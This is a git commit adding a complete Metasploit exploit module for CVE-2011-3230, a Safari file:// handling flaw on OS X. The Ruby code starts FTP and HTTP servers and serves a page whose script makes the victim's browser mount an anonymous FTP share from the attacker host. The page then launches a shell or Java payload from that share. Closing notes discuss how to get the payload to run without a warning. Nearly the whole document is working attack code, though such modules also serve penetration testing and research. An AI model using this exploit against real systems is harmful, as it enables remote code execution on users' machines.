Add CVE-2011-3230 - Safari File Policy vuln
git-svn-id: file:///home/svn/framework3/trunk@13956 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8a0eddc795
commit
e6e8164843
|
@ -0,0 +1,339 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/service_manager'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::FtpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Apple Safari file:// Arbitrary Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Apple Safari on OSX platform.
|
||||
A policy issue in the handling of file:// URLs may allow arbitrary remote code
|
||||
execution under the context of the user.
|
||||
|
||||
In order to trigger arbitrary remote code execution, the best way seems to
|
||||
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
|
||||
a fileformat that OSX might automount), and then execute it in /Volumes/[share].
|
||||
If there's some kind of bug that leaks the victim machine's current username,
|
||||
then it's also possible to execute the payload in /Users/[username]/Downloads/,
|
||||
or else bruteforce your way to getting that information.
|
||||
|
||||
Please note that non-java payloads (*.sh extension) might get launched by
|
||||
Xcode instead of executing it, in that case please try the Java ones instead.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'Aaron Sigel', # Initial discovery
|
||||
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-3230'],
|
||||
['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],
|
||||
['URL', 'http://support.apple.com/kb/HT5000']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none",
|
||||
},
|
||||
'Platform' => [ 'unix', 'osx', 'java' ],
|
||||
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Safari 5.1 on OSX', {} ],
|
||||
[ 'Safari 5.1 on OSX with Java', {} ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Oct 12 2011", #Blog date
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
|
||||
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
|
||||
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Start the FTP aand HTTP server
|
||||
#
|
||||
def exploit
|
||||
# The correct extension name is necessary because that's how the LauncherServices
|
||||
# determines how to open the file.
|
||||
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
|
||||
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
|
||||
|
||||
# Start the FTP server
|
||||
start_service()
|
||||
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
|
||||
|
||||
# Create our own HTTP server
|
||||
# We will stay in this functino until we manually terminate execution
|
||||
start_http()
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Lookup the right address for the client
|
||||
#
|
||||
def lookup_lhost(c=nil)
|
||||
# Get the source address
|
||||
if datastore['SRVHOST'] == '0.0.0.0'
|
||||
Rex::Socket.source_address( c || '50.50.50.50')
|
||||
else
|
||||
datastore['SRVHOST']
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Override the client connection method and
|
||||
# initialize our payload
|
||||
#
|
||||
def on_client_connect(c)
|
||||
r = super(c)
|
||||
@state[c][:payload] = regenerate_payload(c).encoded
|
||||
r
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle FTP LIST request (send back the directory listing)
|
||||
#
|
||||
def on_client_command_list(c, arg)
|
||||
conn = establish_data_connection(c)
|
||||
if not conn
|
||||
c.put("425 Can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Data connection setup")
|
||||
c.put("150 Here comes the directory listing\r\n")
|
||||
|
||||
print_status("Sending directory list via data connection")
|
||||
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
|
||||
m = month_names[Time.now.month-1]
|
||||
d = Time.now.day
|
||||
y = Time.now.year
|
||||
|
||||
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
|
||||
conn.put(dir)
|
||||
conn.close
|
||||
|
||||
print_status("Directory sent ok")
|
||||
c.put("226 Transfer ok\r\n")
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
|
||||
#
|
||||
def on_client_command_retr(c, arg)
|
||||
conn = establish_data_connection(c)
|
||||
if not conn
|
||||
c.put("425 can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Connection for file transfer accepted")
|
||||
c.put("150 Connection accepted\r\n")
|
||||
|
||||
# Send out payload
|
||||
conn.put(@state[c][:payload])
|
||||
conn.close
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle the HTTP request and return a response. Code borrorwed from:
|
||||
# msf/core/exploit/http/server.rb
|
||||
#
|
||||
def start_http(opts={})
|
||||
# Ensture all dependencies are present before initializing HTTP
|
||||
use_zlib
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Default the server host / port
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
'ServerPort' => datastore['HTTPPORT'],
|
||||
'Comm' => comm
|
||||
}.update(opts)
|
||||
|
||||
# Start a new HTTP server
|
||||
@http_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
opts['Comm'],
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
@http_service.server_name = datastore['HTTP::server_name']
|
||||
|
||||
# Default the procedure of the URI to on_request_uri if one isn't
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
|
||||
# As long as we have the http_service object, we will keep the ftp server alive
|
||||
while @http_service
|
||||
select(nil, nil, nil, 1)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Kill HTTP/FTP (shut them down and clear resources)
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
|
||||
# Kill FTP
|
||||
stop_service()
|
||||
|
||||
# clear my resource, deregister ref, stop/close the HTTP socket
|
||||
begin
|
||||
@http_service.remove_resource(datastore['URIPATH'])
|
||||
@http_service.deref
|
||||
@http_service.stop
|
||||
@http_service.close
|
||||
@http_service = nil
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||||
# exception is only raised if the DisableGzip advanced option has not been
|
||||
# set.
|
||||
#
|
||||
def use_zlib
|
||||
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
||||
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns the configured (or random, if not configured) URI path
|
||||
#
|
||||
def resource_uri
|
||||
path = datastore['URIPATH'] || random_uri
|
||||
path = '/' + path if path !~ /^\//
|
||||
datastore['URIPATH'] = path
|
||||
return path
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Handle HTTP requets and responses
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
|
||||
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
|
||||
print_error("Unsupported target: #{agent}")
|
||||
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
|
||||
return
|
||||
end
|
||||
|
||||
html = <<-HTML
|
||||
<html>
|
||||
<head>
|
||||
<base href="file://">
|
||||
<script>
|
||||
function launch() {
|
||||
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
|
||||
}
|
||||
|
||||
function share() {
|
||||
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
|
||||
setTimeout("launch()", 2000);
|
||||
}
|
||||
|
||||
share();
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
send_response(cli, 200, 'OK', html)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Create an HTTP response and then send it
|
||||
#
|
||||
def send_response(cli, code, message='OK', html='')
|
||||
proto = Rex::Proto::Http::DefaultProtocol
|
||||
res = Rex::Proto::Http::Response.new(code, message, proto)
|
||||
res['Content-Type'] = 'text/html'
|
||||
res.body = html
|
||||
|
||||
cli.send_response(res)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
- Need to find a suitable payload that can be executed without warning.
|
||||
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
|
||||
problem, but we still get a "Are you sure?" warning before it can be executed.
|
||||
- Allow user-specified port to automount the share
|
||||
- Allow ftp USERNAME/PASSWORD (optional)
|
||||
=end
|
Loading…
Reference in New Issue